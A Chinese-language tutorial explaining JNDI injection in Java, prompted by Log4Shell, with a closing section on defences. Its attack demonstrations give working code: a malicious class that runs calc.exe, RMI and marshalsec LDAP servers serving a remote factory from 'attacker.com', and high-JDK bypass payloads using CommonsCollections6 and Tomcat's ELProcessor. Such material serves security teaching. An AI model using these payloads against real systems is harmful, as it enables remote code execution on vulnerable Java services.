JNDI入门
字数 1692 2025-08-07 08:22:15
JNDI注入攻击全面解析与防御指南
0x00 前言
JNDI(Java Naming and Directory Interface)是Java提供的命名和目录接口,允许应用程序通过统一API访问各种命名和目录服务。2021年底爆发的Log4j2漏洞(CVE-2021-44228)使JNDI注入攻击广为人知,其payload形式为${jndi:ldap/rmi://xxxxxx/exp}。
0x01 RPC基础概念
RPC(Remote Procedure Call)是一种通过网络从远程计算机请求服务的技术思想,常见实现包括:
- 应用级框架:Dubbo、gRPC、Spring Cloud
- 通信协议:RMI、Socket、SOAP、REST
- 通信框架:MINA、Netty
主要RPC框架:
- Dubbo:阿里开源,仅Java
- Motan:微博开源,仅Java
- Tars:腾讯开源,仅C++
- gRPC:Google开源,跨语言
- Thrift:Facebook开发,跨语言
0x02 微服务架构
微服务将单体应用拆分为多个小型服务,特点包括:
- 独立进程运行
- 通过HTTP RESTful API通信
- 每个服务维护自身数据存储和业务逻辑
- 支持持续集成/持续交付(CI/CD)
攻击面常出现在轻量化的通信机制中,攻击者可伪造中间服务器诱导客户端加载恶意数据。
0x03 JNDI核心概念
JNDI支持访问的服务类型:
- JDBC
- LDAP
- RMI
- DNS
- NIS
- CORBA
重点关注LDAP和RMI两种协议。
LDAP服务
轻量级目录访问协议,工厂类为com.sun.jndi.ldap.LdapCtxFactory
RMI服务
远程方法调用,流程中客户端和服务端传递序列化对象,反序列化时会自动加载类:
- 检查本地CLASSPATH
- 未找到则从codebase(远程URL)加载
0x04 JNDI注入原理
攻击条件
- RMI:6u132/7u122/8u113前
com.sun.jndi.rmi.object.trustURLCodebase默认为true - LDAP:6u211/7u201/8u191/11.0.1前
com.sun.jndi.ldap.object.trustURLCodebase默认为true
攻击流程
- 攻击者控制JNDI lookup参数(如
rmi://attacker.com/exp) - 恶意RMI/LDAP服务返回包含恶意factory的Reference对象
- 目标动态加载factory类
- factory类静态代码块/构造方法中的恶意代码执行
关键类 - Reference
Reference(String className, String factory, String factoryLocation)
className:要加载的类名factory:工厂类名factoryLocation:工厂类所在codebase URL
0x05 低版本攻击演示(8u191以下)
RMI攻击示例
- 恶意类:
public class Exp {
static {
try { Runtime.getRuntime().exec("calc.exe"); }
catch (IOException e) { e.printStackTrace(); }
}
}
- RMI服务端:
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exp", "Exp", "http://attacker.com/");
ReferenceWrapper refWrapper = new ReferenceWrapper(reference);
registry.bind("exp", refWrapper);
- 触发:
new InitialContext().lookup("rmi://attacker.com:1099/exp");
LDAP攻击示例
使用marshalsec启动LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exp
0x06 高版本绕过技术(8u191+)
方法1:LDAP返回序列化数据
直接返回恶意序列化对象,依赖目标环境存在Gadget:
e.addAttribute("javaSerializedData", getCommonsCollections6());
利用链:
ObjectInputStream.readObject() → Runtime.getRuntime.exec('calc')
方法2:本地Factory绕过
利用Tomcat中的org.apache.naming.factory.BeanFactory:
- 依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
- 服务端:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('JavaScript')" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['cmd','/c','calc']).start()\")";
ref.add(new StringRefAddr("x", cmd));
0x07 防御措施
-
升级JDK:
- RMI:≥8u121/7u131/6u141
- LDAP:≥8u191/7u201/6u211
-
系统属性:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
- 代码层面:
- 避免不可信的JNDI lookup参数
- 使用白名单校验外部输入
- Log4j2防护:
- 升级至2.15.0+版本
- 设置
log4j2.formatMsgNoLookups=true
0x08 总结
JNDI注入攻击本质是利用Java动态加载远程代码的特性。随着JDK版本更新,防御措施不断加强,但通过组合利用其他漏洞(如反序列化)仍可能实现攻击。开发者应始终保持组件更新,并遵循最小权限原则。